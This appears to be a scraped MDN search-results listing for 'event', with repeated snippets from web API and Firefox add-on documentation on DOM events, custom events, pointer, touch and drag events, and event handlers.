TouchEvent - Web APIs
touches are represented by the touch object; each touch is described by a position, size and shape, amount of pressure, and target element. lists of touches are represented by touchlist objects. ...
...element. lists of touches are represented by touchlist objects. ...
...lock; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/ui
event" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" tex...
...And 17 more matches
Listening to events in Firefox extensions - Archive of obsolete content
gecko uses
events to pass information about interesting things that have occurred along to the parties that may wish to know about them. there are several different categories of
events; this article will help you learn about them and direct you to more specific documentation covering each of them. it also provides some use cases that may be of specific interest. types of
events there are multiple types of
events that application and extension authors can use to receive notifications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them. simple dom
events registering for a dom
event is done using with code such as the following: function callback(evt) { // do your processing here. check evt.target for the target of ...
... of
events that application and extension authors can use to receive notifications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them. simple dom
events registering for a dom
event is done using with code such as the following: function callback(evt) { // do your processing here. check evt.target for the target of the
event. } b.add
eventlistener("
event", callback, false) where b is the browser or tabbrowser you wish to watch for
events from. keep in mind that the
events may come from any frame within the browser or, for a tabbrowser, any of the browsers within it. ...
... domtitlechanged dispatched when the title of the page changes. ...
...And 16 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things. in this article we'll do this, digging into
events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. ...
... interact and change things. in this article we'll do this, digging into
events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about handling
events and state in react, and use those to start making the case study app interactive. handling
events if you've only written vanilla javascript before now, you might be used to having a separate javascript file, where you query for some dom nodes and attach listeners to them. ...
... objective: to learn about handling
events and state in react, and use those to start making the case study app interactive. handling
events if you've only written vanilla javascript before now, you might be used to having a separate javascript file, where you query for some dom nodes and attach listeners to them. ...
...And 16 more matches
Using Pointer Events - Web APIs
a live version of this application is available on github. the source code is available on github and pull requests and bug reports are welcome. definitions surface a touch-sensitive surface. ...
... a live version of this application is available on github. the source code is available on github and pull requests and bug reports are welcome. definitions surface a touch-sensitive surface. ...
... a live version of this application is available on github. the source code is available on github and pull requests and bug reports are welcome. definitions surface a touch-sensitive surface. ...
...And 16 more matches
DOM onevent handlers - Developer guides
the web platform provides several ways to be notified of dom
events. two common approaches are add
eventlistener() and the specific on
event handlers. this page focuses on how the latter work. registering on
event handlers the on
event handlers are properties on certain dom elements to manage how that element reacts to
events. elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element).
events are actions like: being clicked detecting pressed keys getting focus the on
event handler is usually named with the
event it reacts to, like onclick, onkeypress, onfocus, etc. ...
... elements to manage how that element reacts to
events. elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element).
events are actions like: being clicked detecting pressed keys getting focus the on
event handler is usually named with the
event it reacts to, like onclick, onkeypress, onfocus, etc. you can specify an on<…>
event handler for a particular
event (such as click) for a given object in different ways: adding an html attribute named on<
eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(
event) { … }. ...
...
event it reacts to, like onclick, onkeypress, onfocus, etc. you can specify an on<…>
event handler for a particular
event (such as click) for a given object in different ways: adding an html attribute named on<
eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(
event) { … }. an on
event event handler property serves as a placeholder of sorts, to which a single
event handler can be assigned. in order to allow multiple handlers to be installed for the same
event on a given object, you can call its add
eventlistener() method, which manages a list of handlers for the given
event on the object. ...
...And 16 more matches
EventSource - Web APIs
the
eventsource interface is web content's interface to server-sent
events. an
eventsource instance opens a persistent connection to an http server, which sends
events in text/
event-stream format. the connection remains open until closed by calling
eventsource.close(). once the connection is opened, incoming messages from the server are delivered to your code in the form of
events. if there is an
event field in the incoming message, the triggered
event is the same as the
event field value. if no
event field is present, then a generic message
event is fired. unlike websockets, server-sent
events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser). that makes them an excellent choice when there's no need to sen...
...s the
event field value. if no
event field is present, then a generic message
event is fired. unlike websockets, server-sent
events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser). that makes them an excellent choice when there's no need to send data from the client to the server in message form. for example,
eventsource is a useful approach for handling things like social media status updates, news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage. when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be specially painful when opening various tabs as the limit is per browser and set to a very low number (6)...
...n marked as "won't fix" in chrome and firefox. this limit is per browser + domain, so that means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com. (from stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100). ...
...And 15 more matches
MouseEvent.relatedTarget - Web APIs
the mouse
event.relatedtarget read-only property is the secondary target for the mouse
event, if there is one. ...
... the mouse
event.relatedtarget read-only property is the secondary target for the mouse
event, if there is one. ...
... the mouse
event.relatedtarget read-only property is the secondary target for the mouse
event, if there is one. ...
...And 15 more matches
event/target - Archive of obsolete content
create objects that broadcast
events. users of the object can listen to the
events using the standard on() and once() functions. usage many objects in the sdk can broadcast
events. for example, a panel instance emits an show
event when the panel is shown. with this module you can create your own objects that emit
events. this module provides an exemplar
eventtarget object, that implements an interface for adding and removing
event listeners of a specific type.
eventtarget is the base class for all objects in sdk on which
events are emitted. also see the tutorial on implementing
event targets to get started with this api. instantiation it's easy to create
event target objects, no special arguments are required. ...
...le provides an exemplar
eventtarget object, that implements an interface for adding and removing
event listeners of a specific type.
eventtarget is the base class for all objects in sdk on which
events are emitted. also see the tutorial on implementing
event targets to get started with this api. instantiation it's easy to create
event target objects, no special arguments are required. const {
eventtarget } = require("sdk/
event/target"); let target =
eventtarget(); for a convenience though optional options arguments may be used, in which case all the function properties with keys like: onmessage, onmy
event... will be auto registered for associated 'message', 'my
event'
events on the created instance. all other properties of options will be ignored. ...
...required. const {
eventtarget } = require("sdk/
event/target"); let target =
eventtarget(); for a convenience though optional options arguments may be used, in which case all the function properties with keys like: onmessage, onmy
event... will be auto registered for associated 'message', 'my
event'
events on the created instance. all other properties of options will be ignored. adding listeners
eventtarget interface defines on method, that can be used to register
event listeners on them for the given
event type: target.on('message', function onmessage(message) { // note: `this` pseudo variable is an
event `target` unless // intentionally overridden via `.bind()`. console.log(message); }); sometimes
event listener may care only about very first
event of specific type. ...
...And 14 more matches
nsIDOMSimpleGestureEvent
mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. ...
... mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. ...
... mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. ...
...And 14 more matches
EventTarget - Web APIs
eventtarget is a dom interface implemented by objects that can receive
events and may have listeners for them. element, document, and window are the most common
event targets, but other objects can be
event targets, too. for example xmlhttprequest, audionode, audiocontext, and others. many
event targets (including elements, documents, and windows) also support setting
event handlers via on
event properties and attributes. ...
...t setting
event handlers via on
event properties and attributes. ...
...sition: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-
events: all;} constructor
eventtarget() creates a new
eventtarget object instance. ...
...And 14 more matches
Event developer guide - Developer guides
events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types. the overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers. the custom
events page describes how the
event code design pattern can be used in custom code to define new
event types emitted by user objects, register listener functions to handle those
events, and trigger the
events in user code. the remaining pages describe how to use
events of different kinds defined by web browsers. ...
... are defined and reacted to by modern web browsers. the custom
events page describes how the
event code design pattern can be used in custom code to define new
event types emitted by user objects, register listener functions to handle those
events, and trigger the
events in user code. the remaining pages describe how to use
events of different kinds defined by web browsers. unfortunately, these
events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the
events built-in or defined by modern web browsers. ...
...ts, and trigger the
events in user code. the remaining pages describe how to use
events of different kinds defined by web browsers. unfortunately, these
events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the
events built-in or defined by modern web browsers. the device on which the web browser is running can trigger
events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3d transforms. that is different, but similar, to the change in device vertical orientation. ...
...And 14 more matches
Document: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...And 13 more matches
GlobalEventHandlers.onanimationcancel - Web APIs
the onanimationcancel property of the global
eventhandlers mixin is the
eventhandler for processing animationcancel
events. an animationcancel
event is sent when a css animation unexpectedly aborts, that is, any time it stops running without sending an animationend
event. this can happen, for example, when the animation-name is changed such that the animation is removed, or when the animating node is hidden—either directly or because any of its containing nodes are hidden—using css. ...
...ding an animationend
event. this can happen, for example, when the animation-name is changed such that the animation is removed, or when the animating node is hidden—either directly or because any of its containing nodes are hidden—using css. syntax var animcancelhandler = target.onanimationcancel; target.onanimationcancel = function value a function to be called when an animationcancel
event occurs indicating that a css animation has begun on the target, where the target object is an html element (htmlelement), document (document), or window (window). the function receives as input a single parameter: an animation
event object describing the
event which occurred. ...
...o be called when an animationcancel
event occurs indicating that a css animation has begun on the target, where the target object is an html element (htmlelement), document (document), or window (window). the function receives as input a single parameter: an animation
event object describing the
event which occurred. ...
...And 13 more matches
HTMLElement: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...And 13 more matches
Working with Events - Archive of obsolete content
the add-on sdk supports
event-driven programming. objects emit
events on state changes that might be of interest to add-on code, such as browser windows opening, pages loading, network requests completing, and mouse clicks. by registering a listener function to an
event emitter an add-on can receive notifications of these
events. we talk about content scripts in more detail in the working with content scripts guide. additionally, if you're using content scripts to interact with web content, you can define your own
events and use them to communicate between the main add-on code and the content scripts. in this case one end of the conversation emits the
events, and the other end listens to them. ...
...ts in more detail in the working with content scripts guide. additionally, if you're using content scripts to interact with web content, you can define your own
events and use them to communicate between the main add-on code and the content scripts. in this case one end of the conversation emits the
events, and the other end listens to them. ...
...s guide. additionally, if you're using content scripts to interact with web content, you can define your own
events and use them to communicate between the main add-on code and the content scripts. in this case one end of the conversation emits the
events, and the other end listens to them. so there are two main ways you will interact with the
eventemitter framework: listening to built-in
events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks sending and receiving user-defined
events between content scripts and add-on code this guide only covers the first of these; the second is explained in the working with content scripts guide. adding listeners you can add a listener to an
event emitter by calling its on(type, listener) method. it takes t...
...And 12 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
« previousnext » next, we'll find out how to add
event handlers to xbl-defined elements.
event handlers as you might expect, mouse clicks, key presses and other
events are passed to each of the elements inside the content. however, you may wish to trap the
events and handle them in a special way. you can add
event handlers to the elements inside the content if needed. the last example in the previous section demonstrated this. in that example, oncommand handlers were added to some buttons. handler element however, you may want to add an
event handler to the entire contents, that is, all the elements defined in the content tag. this could be useful when trapping the focus and blur
events. to define an
event handler, use the handler element. each will describe the action taken fo...
...ious section demonstrated this. in that example, oncommand handlers were added to some buttons. handler element however, you may want to add an
event handler to the entire contents, that is, all the elements defined in the content tag. this could be useful when trapping the focus and blur
events. to define an
event handler, use the handler element. each will describe the action taken for a single
event handler. you can use more than one handler if necessary. if an
event does not match any of the handler
events, it is simply passed to the inner content as usual. the general handler syntax is as follows: <binding id="binding-name"> <handlers> <handler
event="
event-name" action="script"/> </handlers> </binding> place all of your handlers within the handlers element. each handler element d...
...er if necessary. if an
event does not match any of the handler
events, it is simply passed to the inner content as usual. the general handler syntax is as follows: <binding id="binding-name"> <handlers> <handler
event="
event-name" action="script"/> </handlers> </binding> place all of your handlers within the handlers element. each handler element defines the action taken for a particular
event specified by its
event attribute. valid
event types are those supported by xul and javascript, such as click and focus. use the
event name without the 'on' in front of it. a common reason to set handlers is to modify the custom properties when an
event occurs. for example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <ha...
...And 12 more matches
FetchEvent.request - Web APIs
this promise resolves to the first matching url request in the cache object. ...
...this promise resolves to the first matching url request in the cache object. ...
...this promise resolves to the first matching url request in the cache object. ...
...And 12 more matches
TrackEvent - Web APIs
the track
event interface, which is part of the html dom specification, is used for
events which represent changes to a set of available tracks on an html media element; these
events are addtrack and removetrack. it's important not to confuse track
event with the rtctrack
event interface, which is used for tracks which are part of an rtcpeerconnection.
events based on track
event are always sent to one of the media track list types:
events involving video tracks are always sent to the videotracklist found in htmlmediaelement.videotracks
events involving audio tracks are always sent to the audiotracklist specified in htmlmediaelement.audiotracks
events affecting text tracks are sent to the texttracklist object indicated by htmlmediaelement.texttracks. ...
...s sent to one of the media track list types:
events involving video tracks are always sent to the videotracklist found in htmlmediaelement.videotracks
events involving audio tracks are always sent to the audiotracklist specified in htmlmediaelement.audiotracks
events affecting text tracks are sent to the texttracklist object indicated by htmlmediaelement.texttracks. constructor track
event() creates and initializes a new track
event object with the
event type specified, as well as optional additional properties. properties track
event is based on
event, so properties of
event are also available on track
event objects. track read only the dom track object the
event is in reference to. if not null, this is always an object of one of the media track types: audiotrack, videotrack...
... track
event object with the
event type specified, as well as optional additional properties. properties track
event is based on
event, so properties of
event are also available on track
event objects. track read only the dom track object the
event is in reference to. if not null, this is always an object of one of the media track types: audiotrack, videotrack, or texttrack). methods track
event has no methods of its own; however, it is based on
event, so it provides the methods available on
event objects. example this example sets up a function, handletrack
event(), which is callled for any addtrack or removetrack
event on the first <video> element found in the document. ...
...And 12 more matches
WheelEvent - Web APIs
therefore, do not rely on delta* properties to get the content's scrolling direction. ...
...therefore, do not rely on delta* properties to get the content's scrolling direction. ...
...therefore, do not rely on delta* properties to get the content's scrolling direction. ...
...And 12 more matches
Window: popstate event - Web APIs
the popstate
event of the window interface is fired when the active history entry changes while the user navigates the session history. it changes the current history entry to that of the last page the user visited or, if history.pushstate() has been used to add a history entry to the history stack, that history entry is used instead. bubbles yes cancelable no interface popstate
event event handler property onpopstate the history stack if the history entry being activated was created by a call to history.pushstate() or was affected by a call to history.replacestate(), the popstate
event's state property contains a copy of the history entry's state object. ...
...es cancelable no interface popstate
event event handler property onpopstate the history stack if the history entry being activated was created by a call to history.pushstate() or was affected by a call to history.replacestate(), the popstate
event's state property contains a copy of the history entry's state object. these methods and their corresponding
events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same document. note that just calling history.pushstate() or history.replacestate() won't trigger a popstate
event. ...
...history entry's state object. these methods and their corresponding
events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same document. note that just calling history.pushstate() or history.replacestate() won't trigger a popstate
event. the popstate
event will be triggered by doing a browser action such as a click on the back or forward button (or calling history.back() or history.forward() in javascript). browsers tend to handle the popstate
event differently on page load. chrome (prior to v34) and safari always emit a popstate
event on page load, but firefox doesn't. ...
...And 12 more matches
WindowEventHandlers.onbeforeunload - Web APIs
example this example prompts the user before unloading. ...
... example this example prompts the user before unloading. ...
... example this example prompts the user before unloading. ...
...And 12 more matches
Online and offline events - Web APIs
some browsers implement online/offline
events from the whatwg web applications 1.0 specification. overview in order to build a good offline-capable web application, you need to know when your application is actually offline. you also need to know when your application has returned to an 'online' status again. effectively, the requirements break down as such: you need to know when the user comes back online, so that you can re-synchronize with the server. you need to know when the user is offline, so that you can queue your server requests for a later time. it is this process that online/offline
events help to simplify. api navigator.online navigator.online is a property that maintains a true/false value (true for online, false for offline). this property is updated whenever t...
...ser's offline mode. firefox 41 updates this property when the os reports a change in network connectivity on windows, linux, and os x. this property existed in older versions of firefox and internet explorer (the specification based itself off of these prior implementations), so you can begin using it immediately. network status autodetection was implemented in firefox 2. ...
...s this property when the os reports a change in network connectivity on windows, linux, and os x. this property existed in older versions of firefox and internet explorer (the specification based itself off of these prior implementations), so you can begin using it immediately. network status autodetection was implemented in firefox 2. "online" and "offline"
events firefox 3 introduces two new
events: "online" and "offline". ...
...And 11 more matches
nsIDOMMouseScrollEvent
dom/interfaces/
events/nsidommousescroll
event.idlscriptable this interface represents a mouse scroll wheel
event. 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouse
event last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouse
event. ...
...l
event.idlscriptable this interface represents a mouse scroll wheel
event. 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouse
event last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouse
event. ...
...read only. ...
...And 10 more matches
Element: mousedown event - Web APIs
its functionality is simple: the thickness of the line is set to 1, and the color is always black. ...
...its functionality is simple: the thickness of the line is set to 1, and the color is always black. ...
...its functionality is simple: the thickness of the line is set to 1, and the color is always black. ...
...And 10 more matches
Comparison of Event Targets - Web APIs
event targets it's easy to get confused about which target to examine when writing an
event handler. this article should clarify the use of the target properties. there are five targets to consider: property defined in purpose
event.target dom
event interface the dom element on the lefthand side of the call that triggered this
event, eg: element.dispatch
event(
event)
event.currenttarget dom
event interface the
eventtarget whose
eventlisteners are currently being processed. as the
event capturing and bubbling occurs, this value changes.
event.relatedtarget dom mouse
event interface identifies a secondary target for the
event. ...
...e lefthand side of the call that triggered this
event, eg: element.dispatch
event(
event)
event.currenttarget dom
event interface the
eventtarget whose
eventlisteners are currently being processed. as the
event capturing and bubbling occurs, this value changes.
event.relatedtarget dom mouse
event interface identifies a secondary target for the
event.
event.explicitoriginaltarget
event.webidl if the
event was retargeted for some reason other than an anonymous boundary crossing, this will be set to the target before the retargeting occurs. ...
...ed. as the
event capturing and bubbling occurs, this value changes.
event.relatedtarget dom mouse
event interface identifies a secondary target for the
event.
event.explicitoriginaltarget
event.webidl if the
event was retargeted for some reason other than an anonymous boundary crossing, this will be set to the target before the retargeting occurs. for example, mouse
events are retargeted to their parent node when they happen over text nodes (bug 185889), and in that case .target will show the parent and .explicitoriginaltarget will show the text node. unlike .originaltarget, .explicitoriginaltarget will never contain anonymous content.
event.originaltarget
event.webidl the original target of the
event, before any retargetings. see anonymous co...
...And 10 more matches
RTCPeerConnection: icecandidate event - Web APIs
an icecandidate
event is sent to an rtcpeerconnection when an rtcicecandidate has been identified and added to the local peer by a call to rtcpeerconnection.setlocaldescription(). the
event handler should transmit the candidate to the remote peer over the signaling channel so the remote peer can add it to its set of remote candidates. bubbles no cancelable no interface rtcpeerconnectionice
event event handler property rtcpeerconnection.onicecandidate description there are three reasons why the icecandidate
event is fired on an rtcpeerconnection. sharing a new candidate the majority of icecandidate
events are fired to indicate that a new candidate has been gathered. this candidate needs to be delivered to the remote peer over the signal...
...tcpeerconnection.onicecandidate description there are three reasons why the icecandidate
event is fired on an rtcpeerconnection. sharing a new candidate the majority of icecandidate
events are fired to indicate that a new candidate has been gathered. this candidate needs to be delivered to the remote peer over the signaling channel your code manages. rtcpeerconnection.onicecandidate = (
event) => { if (
event.candidate) { sendcandidatetoremotepeer(
event.candidate) } else { /* there are no more candidates coming during this negotiation */ } } the remote peer, upon receiving the candidate, will add the candidate to its candidate pool by calling addicecandidate(), passing in the candidate string you have passed along using the signaling server. indicating the end of a gen...
...idate to its candidate pool by calling addicecandidate(), passing in the candidate string you have passed along using the signaling server. indicating the end of a generation of candidates when an ice negotiation session runs out of candidates to propose for a given rtcicetransport, it has completed gathering for a generation of candidates. that this has occurred is indicated by an icecandidate
event whose candidate string is empty (""). you should deliver this to the remote peer just like any standard candidate, as described under sharing a new candidate above. this ensures that the remote peer is given the end-of-candidates notification as well. as you see in the code in the previous section, every candidate is sent to the other peer, including any that might have an empty candidate string...
...And 10 more matches
XRInputSourcesChangeEvent - Web APIs
properties added read only an array of zero or more xrinputsource objects, each representing an input device which has been newly connected or enabled for use. ...
... properties added read only an array of zero or more xrinputsource objects, each representing an input device which has been newly connected or enabled for use. ...
... properties added read only an array of zero or more xrinputsource objects, each representing an input device which has been newly connected or enabled for use. ...
...And 10 more matches
Creating and triggering events - Developer guides
this article demonstrates how to create and dispatch dom
events. such
events are commonly called synthetic
events, as opposed to the
events fired by the browser itself. creating custom
events
events can be created with the
event constructor as follows: const
event = new
event('build'); // listen for the
event. elem.add
eventlistener('build', function (e) { /* ... */ }, false); // dispatch the
event. elem.dispatch
event(
event); the above code example uses the
eventtarget.dispatch
event() method. this constructor is supported in most modern browsers (with internet explorer being the exception). for a more verbose approach (which works with internet explorer), see the old-fashioned way below. ...
...ener('build', function (e) { /* ... */ }, false); // dispatch the
event. elem.dispatch
event(
event); the above code example uses the
eventtarget.dispatch
event() method. this constructor is supported in most modern browsers (with internet explorer being the exception). for a more verbose approach (which works with internet explorer), see the old-fashioned way below. adding custom data – custom
event() to add more data to the
event object, the custom
event interface exists and the detail property can be used to pass custom data. ...
...vent() method. this constructor is supported in most modern browsers (with internet explorer being the exception). for a more verbose approach (which works with internet explorer), see the old-fashioned way below. adding custom data – custom
event() to add more data to the
event object, the custom
event interface exists and the detail property can be used to pass custom data. for example, the
event could be created as follows: const
event = new custom
event('build', { detail: elem.dataset.time }); this will then allow you to access the additional data in the
event listener: function
eventhandler(e) { console.log('the time is: ' + e.detail); } the old-fashioned way the older approach to creating
events uses apis inspired by java. the following shows an example with document.createeven...
...And 10 more matches
CustomEvent - Web APIs
the custom
event interface represents
events initialized by an application for any purpose. note: this feature is available in web workers. constructor custom
event() creates a custom
event. properties custom
event.detail read only any data passed when initializing the
event. this interface inherits properties from its parent,
event:
event.bubbles read only a boolean indicating whether or not the
event bubbles up through the dom.
event.cancelbubble a historical alias to
event.stoppropagation(). setting its value to true before returning from an
event handler pr
events propagation of the
event.
event.cancelable read only a boolean indicating whether the
event is cancelable. ...
...inherits properties from its parent,
event:
event.bubbles read only a boolean indicating whether or not the
event bubbles up through the dom.
event.cancelbubble a historical alias to
event.stoppropagation(). setting its value to true before returning from an
event handler pr
events propagation of the
event.
event.cancelable read only a boolean indicating whether the
event is cancelable.
event.composed read only a boolean indicating whether or not the
event can bubble across the boundary between the shadow dom and the regular dom.
event.currenttarget read only a reference to the currently registered target for the
event. this is the object to which the
event is currently slated to be sent. ...
...s cancelable.
event.composed read only a boolean indicating whether or not the
event can bubble across the boundary between the shadow dom and the regular dom.
event.currenttarget read only a reference to the currently registered target for the
event. this is the object to which the
event is currently slated to be sent. it's possible this has been changed along the way through retargeting.
event.deeppath an array of dom nodes through which the
event has bubbled.
event.defaultpr
evented read only indicates whether or not the call to
event.pr
eventdefault() canceled the
event.
event.
eventphase read only indicates which phase of the
event flow is being processed. ...
...And 9 more matches
Document: DOMContentLoaded event - Web APIs
it is a common mistake to use load where domcontentloaded would be more appropriate. synchronous javascript pauses parsing of the dom. if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascript asynchronous and optimize loading of stylesheets. ...
...it is a common mistake to use load where domcontentloaded would be more appropriate. synchronous javascript pauses parsing of the dom. if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascript asynchronous and optimize loading of stylesheets. ...
...it is a common mistake to use load where domcontentloaded would be more appropriate. synchronous javascript pauses parsing of the dom. if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascript asynchronous and optimize loading of stylesheets. ...
...And 9 more matches
Document: drag event - Web APIs
the drag
event is fired every few hundred milliseconds as an element or text selection is being dragged by the user. bubbles yes cancelable yes default action continue the drag & drop operation. interface drag
event event handler property ondrag examples see this code in a jsfiddle demo or interact with it below. ...
...ent or text selection is being dragged by the user. bubbles yes cancelable yes default action continue the drag & drop operation. interface drag
event event handler property ondrag examples see this code in a jsfiddle demo or interact with it below. ...
....setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; background: white; } .dropzone { width: 200px; height: 20px; background: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /*
events fired on the draggable target */ document.add
eventlistener("drag", function(
event) { }, false); document.add
eventlistener("dragstart", function(
event) { // store a ref. on the dragged elem dragged =
event.target; // make it half transparent
event.target.style.opacity = .5; }, false); document.add
eventlistener("dragend", function(
event) { // reset the transparency
event.target.styl...
...And 9 more matches
Event.type - Web APIs
the type read-only property of the
event interface returns a string containing the
event's type. it is set when the
event is constructed and is the name commonly used to refer to the specific
event, such as click, load, or error. for a list of available
event types, see the
event reference. syntax let
eventtype =
event.type; value a domstring containing the type of
event. example this example logs the
event type whenever you press a keyboard key or click a mouse button. ...
...and is the name commonly used to refer to the specific
event, such as click, load, or error. for a list of available
event types, see the
event reference. syntax let
eventtype =
event.type; value a domstring containing the type of
event. example this example logs the
event type whenever you press a keyboard key or click a mouse button. ...
...nt, such as click, load, or error. for a list of available
event types, see the
event reference. syntax let
eventtype =
event.type; value a domstring containing the type of
event. example this example logs the
event type whenever you press a keyboard key or click a mouse button. ...
...And 9 more matches
XRSessionEvent() - Web APIs
the webxr device api's xrsession
event() constructor creates and returns a new xrsession
event object. these objects represent
events announcing state changes in an xrsession representing an augmented or virtual reality session. syntax newxrsession
event = new xrsession
event(type,
eventinitdict); parameters type a domstring indicating which of the
events represented by objects of type xrsession
event this particular object represents. see
event types for a list of the permitted values.
eventinitdict an object conforming to the xrsession
eventinit dictionary which contains values to be applied to the newly-created
event object. permitted values are: session the xrsession to which the
event is to be delivered. ...
... end fired at the session when it has ended, after being terminated by the application or the user agent. ...
... end fired at the session when it has ended, after being terminated by the application or the user agent. visibilitychange fired at the session whenever its visibility state changes. ...
...And 4 more matches
pointer-events - SVG: Scalable Vector Graphics
the pointer-
events attribute is a presentation attribute that allows defining whether or when an element may be the target of a mouse
event. note: as a presentation attribute pointer-
events can be used as a css property. html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- the circle will always intercept the mouse
event. to change the color of the rect underneath you have to click outside the circle --> <rect x="0" y="0" height="10" width="10" fill="black" /> <circle cx="5" cy="5" r="4" fill="white" pointer-
events="visiblepoint" /> <!-- the circle below will never catch a mouse
event. the rect underneath will change color whether you are clicking on the circle or the rect itself --> <rect x="10" y="0" height...
...width="10" fill="black" /> <circle cx="5" cy="5" r="4" fill="white" pointer-
events="visiblepoint" /> <!-- the circle below will never catch a mouse
event. ...
...e cx="5" cy="5" r="4" fill="white" pointer-
events="visiblepoint" /> <!-- the circle below will never catch a mouse
event. ...
...And 4 more matches
system/events - Archive of obsolete content
api for working with the application observer service. usage the system/
events module provides core (low level) api for working with the application observer service, also known as nsiobserverservice. you can find a list of
events dispatched by the firefox codebase here. var
events = require("sdk/system/
events"); var { ci } = require("chrome"); function listener(
event) { var channel =
event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); }
events.on("http-on-modify-request", listener); globals functions emit(type,
event) send an
event to observer service parameters type : string the
event type.
event : object an optional object with data and subject attributes. data refers to a string that you would like to pass th...
...interface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); }
events.on("http-on-modify-request", listener); globals functions emit(type,
event) send an
event to observer service parameters type : string the
event type.
event : object an optional object with data and subject attributes. data refers to a string that you would like to pass through this
event. subject should refer to the actual actor/subject of this
event (ie: the object emitting the
event). on(type, listener, strong) listen to
events of a given type parameters type : string the
event type name to watch. ...
...ptional object with data and subject attributes. data refers to a string that you would like to pass through this
event. subject should refer to the actual actor/subject of this
event (ie: the object emitting the
event). on(type, listener, strong) listen to
events of a given type parameters type : string the
event type name to watch. listener : function function that will be called when an
event is fired, with a single
event object as argument. this object has three attributes: type: the
event type name subject: the
event subject object data: the
event data string strong : boolean default is false, a weak reference, which means it can be garbage collected at any time if there are no other references to it. determines if we should keep a strong or weak reference to the listener me...
...And 3 more matches
Event Handlers - Archive of obsolete content
